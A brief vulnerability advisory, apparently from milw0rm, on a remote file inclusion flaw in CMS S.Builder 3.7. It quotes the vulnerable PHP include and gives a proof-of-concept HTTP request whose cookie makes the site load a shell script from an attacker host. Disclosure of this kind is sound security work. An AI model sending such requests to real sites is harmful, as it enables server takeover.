CMS S.Builder <= 3.7 Remote File Inclusion Vulnerability

CMS S.Builder <= 3.7 RFI Vulnerability

Information:

Vendor: http://www.sbuilder.ru
Affected versions: 3.7 and possibly later versions


Description:

The engine of this cms makes site files (index.php, etc) with code like:
PHP Code:

if (!isset($GLOBALS['binn_include_path'])) $GLOBALS['binn_include_path'] = '';
...
include_once($GLOBALS['binn_include_path'].'prog/pl_menu/show_menu.php');
...

If register_globals=On, attacker can write remote url (if allow_url_fopen=On) or local path into variable binn_include_path.


PoC:

HTTP Request:

GET /index.php HTTP/1.1
Host: www.site.com
Cookie: binn_include_path=http://evil.site.com/shell.txt?

# by cr0w
# http://cr0w-at.blogspot.com

# milw0rm